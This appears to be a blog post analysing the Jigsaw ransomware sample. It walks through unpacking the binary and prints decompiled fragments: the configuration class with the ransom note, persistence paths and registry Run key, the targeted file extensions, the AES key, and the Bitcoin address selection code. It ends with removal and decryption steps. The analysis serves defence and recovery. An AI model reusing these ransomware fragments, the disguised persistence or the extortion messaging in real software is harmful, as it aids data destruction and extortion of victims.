Analysing Jigsaw Ransomware

Jigsaw Ransomware

6 minute read

SHA1: 27d99fbca067f478bb91cdbcb92f13a828b00859

Today I’ll be analyzing Jigsaw Ransomware.
Running detect-it-easy, we get

i0

So the binary is packed using ConfuserEx, an open source obfuscator.

Let’s unpack the binary first.

i1

Place a breakpoint after the first call at Module::.cctor, execute it and when the control hits the breakpoint, dump the module from the modules window.

Open it in dnSpy, and nop out the first call by selecting Edit IL Instructions and change the first instruction to nop and save the module.

Perform the same operations for the second call before AssemblyLoader.Attach

i2

The module named <unknown> contains the resources. It’s a DLL module (QbZlczhiHcyXUZulvpHjfBbHhhxY.dll).

    0x00000410: ExtensionsToEncrypt‎ = ".jpg .jpeg .raw .tif .gif .png .bmp\r\n.3dm .max\r\n.accdb .db .dbf .mdb .pdb .sql\r\n.dwg .dxf\r\n.c .cpp .cs .h .php .asp .rb .java .jar .class .py .js\r\n.aaf .aep .aepx .plb .prel .prproj .aet .ppj .psd .indd .indl .indt .indb .inx .idml .pmd .xqx .xqx .ai .eps .ps .svg .swf .fla .as3 .as\r\n.txt .doc .dot .docx .docm .dotx .dotm .docb .rtf .wpd .wps .msg .pdf .xls .xlt .xlm .xlsx .xlsm .xltx .xltm .xlsb .xla .xlam .xll .xlw .ppt .pot .pps .pptx .pptm .potx .potm .ppam .ppsx .ppsm .sldx .sldm\r\n.wav .mp3 .aif .iff .m3u .m4u .mid .mpa .wma .ra .avi .mov .mp4 .3gp .mpeg .3g2 .asf .asx .flv .mpg .wmv .vob .m3u8\r\n.dat .csv .efx .sdf .vcf .xml .ses\r\n.Qbw .QBB .QBM .QBI .QBR  \r\n.Cnt .Des .v30 .Qbo .Ini .Lgb .Qwc .Qbp .Aif .Qba .Tlg .Qbx .Qby  \r\n.1pa .Qpd .Txt .Set .Iif  \r\n.Nd .Rtp .Tlg .Wav .Qsm .Qss .Qst .Fx0 .Fx1 .Mx0 .FPx .Fxr .Fim .ptb .Ai .Pfb .Cgn .Vsd .Cdr .Cmx .Cpt .Csl .Cur .Des .Dsf .Ds4\r\n .Drw .Dwg.Eps .Ps .Prn .Gif .Pcd .Pct .Pcx .Plt .Rif .Svg .Swf .Tga .Tiff .Psp .Ttf .Wpd .Wpg .Wi .Raw .Wmf .Txt .Cal .Cpx .Shw .Clk .Cdx .Cdt .Fpx .Fmv .Img .Gem .Xcf .Pic .Mac .Met \r\n.PP4 .Pp5 .Ppf .Xls .Xlsx .Xlsm .Ppt .Nap .Pat .Ps .Prn .Sct .Vsd .wk3 .wk4 .XPM .zip .rar  \r\n"

    0x00000864: Jigsaw = [System.Drawing.Bitmap] : A clown

    0x00006FE0: StartModeDebug‎ = "I'm running in Debug mode"

    0x00006FFB: vanityAddresses‎ = "1L9GdBW65Rt6e8UY69bnWNWomsppFFFR2X\r\n13VEVaJUMdJyQ7ttPfBaVNKjj2dS9ahU1z\r\n15fbyNgDnqYQR5vSHJ8PTAEJbKy4dwNBCZ\r\n1Q5B5udzDLpNJbpedGpyGMLVU5DR5dTqx6\r\n18hxbo2Rcp7zmWNsVryFrfZiLGajByWSG1"

Opening the new module in dnSpy, and renaming the functions, we get

i3

The class Main.Config contains the static data

    static Config()
    {
        // Appdata/Roaming
        string path = Config.Environment_GetFolderPath(Environment.SpecialFolder.ApplicationData);
        // Appdata/Local
        string path2 = Config.Environment_GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
        Config.StartMode = Config.StartModeType.ErrorMessage;
        /*
         If current-date > ActiveAfterDateTime {
            // Encrypt Files
         }
         */
        Config.ActiveAfterDateTime = new DateTime(2016, 4, 1);
        // Info Message
        Config.ErrorMessage = "Congratulations. Your software has been registered. Confirmation code 994759" + Environment.NewLine + "Email us this code in the chat to active your software. It can take up to 48 hours.";
        Config.ErrorTitle = "Thank you";
        // Create Entry in "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
        Config.StartupMethod = Windows.StartupMethodType.Registry;
        Config.TempExeRelativePath = "Drpbx\\drpbx.exe";
        Config.FinalExeRelativePath = "Frfx\\firefox.exe";
        Config.FinalExePath = Path.Combine(path, Config.FinalExeRelativePath);
        Config.TempExePath = Path.Combine(path2, Config.TempExeRelativePath);
        Config.WorkFolderRelativePath = "System32Work\\";
        Config.WorkFolderPath = Path.Combine(path, Config.WorkFolderRelativePath);
        if (!Directory.Exists(Config.WorkFolderPath))
        {
            Directory.CreateDirectory(Config.WorkFolderPath);
        }
        Config.OnlyRunAfterSysRestart = false;
        Config.WelcomeMessage = string.Concat(new string[]
        {
            "Your computer files have been encrypted. Your photos, videos, documents, etc....",
            Environment.NewLine,
            "But, don't worry! I have not deleted them, yet.",
            Environment.NewLine,
            "You have 24 hours to pay 150 USD in Bitcoins to get the decryption key.",
            Environment.NewLine,
            "Every hour files will be deleted. Increasing in amount every time.",
            Environment.NewLine,
            "After 72 hours all that are left will be deleted.",
            Environment.NewLine,
            Environment.NewLine,
            "If you do not have bitcoins Google the website localbitcoins.",
            Environment.NewLine,
            "Purchase 150 American Dollars worth of Bitcoins or .4 BTC. The system will accept either one.",
            Environment.NewLine,
            "Send to the Bitcoins address specified.",
            Environment.NewLine,
            "Within two minutes of receiving your payment your computer will receive the decryption key and return to normal.",
            Environment.NewLine,
            "Try anything funny and the computer has several safety measures to delete your files.",
            Environment.NewLine,
            "As soon as the payment is received the crypted files will be returned to normal.",
            Environment.NewLine,
            Environment.NewLine,
            "       Thank you        "
        });
        // Ransom Amount
        Config.RansomUsd = 150;
        Config.TaskMessage = "Please, send $" + Config.RansomUsd + " worth of Bitcoin here:";

        // ...

        // Token: 0x04000033 RID: 51
        internal const string EncryptionFileExtension = ".fun";

        // Token: 0x04000034 RID: 52
        internal const int MaxFilesizeToEncryptInBytes = 10000000;

        // Token: 0x04000035 RID: 53
        // AES Key
        internal const string EncryptionPassword = "OoIsAwwF23cICQoLDA0ODe==";
    }

Nothing to discuss as the names are self-explanatory. Later we’ll see that the ransomware is copied into two locations:

  1. AppData\Local\Drpbx\drpbx.exe
  2. AppData\Roaming\Frfx\firefox.exe

In Hacking.InitSoftware, we have

i4

If Main() has been called with exactly one argument, it displays a message-box with the text Config.ErrorMessage.

Next, it copies itself to startup directory and to the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.

And after copying itself into Appdata\Roaming\Frfx and AppData\Local\Drpbx folders using Hacking.ExeSmartCopy, it restarts itself as drpbx.exe

i5

timerActivateChecker_Tick is executed every 6 seconds. But the flag Config.Activated restricts its execution frequency to once.

If the current date is greater than 01-04-2016, encrypt all the files and show the form FormGame

The list of file types to encrypt are specified by Resources.ExtensionsToEncrypt‎. The extensions are separated by CrLf and spaces.

The Locker.EncryptFileSystem recursively encrypts the files and stores the names of the encrypted files in AppData\Roaming\System32Work\EncryptedFileList.txt

Only the files whose size is less than 10**7 are encrypted.

i6

The files are encrypted using AES with the key - OoIsAwwF23cICQoLDA0ODe== and the IV - AAEAAwUDAAEAAAIABgcGAA==

i7

After encrypting the files, the form FormGame is displayed.
It displays a ransom message Config.WelcomeMessage and

i8

    private static string GetBitcoinAddess()
    {
        string text = FormGame.Path_Combine(Config.WorkFolderPath, "Address.txt");
        if (FormGame.File_Exists(text))
        {
            return FormGame.File_ReadAllText(text);
        }
        HashSet<string> hashSet = new HashSet<string>();
        foreach (string text2 in FormGame.StrSplit(Resources.vanityAddresses, new string[]
        {
            FormGame.NewLine()
        }, StringSplitOptions.RemoveEmptyEntries).ToList<string>())
        {
            hashSet.Add(FormGame.StrTrim(text2));
        }
        string text3 = Enumerable.OrderBy<string, Guid>(hashSet, (string x) => Guid.NewGuid()).FirstOrDefault<string>();
        FormGame.File_WriteAllText(text, text3);
        return text3;
    }

GetBitcoinAddess fetches a random bitcoin from Appdata\Roaming\System32Work\Address.txt. The randomization is due to Guid.NewGuid()
The default list of bitcoin addresses are stored in the resource Resources.vanityAddresses‎

DidRun checks if the app ran atleast once. If so, it deletes 1000 encrypted files.

i9

If the amount paid is atleast 150 USD, the timer stops. It then decrypts the encrypted files and removes itself (by executing a batch script).

After every hour, N files are deleted. N is computed using

    int N() {
        static int n = 0;
        return (int) pow(1.1, n++);
    }

The bitcoin transactions use the blockr api.

i10

Removal

The file AppData\Roaming\System32Work\dr must be DELETED within one hour after the malware executes to prevent deletion of files.
Iterate through the files present in AppData\Roaming\System32Work\EncryptedFileList.txt and decrypt the files using the AES Key - OoIsAwwF23cICQoLDA0ODe== and IV - AAEAAwUDAAEAAAIABgcGAA==.
The malware binaries can be removed by deleting the files

  1. Appdata\Roaming\Frfx\firefox.exe
  2. AppData\Local\Drpbx\drpbx.exe
  3. The file firefox.exe in the startup folder
  4. The registry entry named firefox.exe in HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
comments powered by Disqus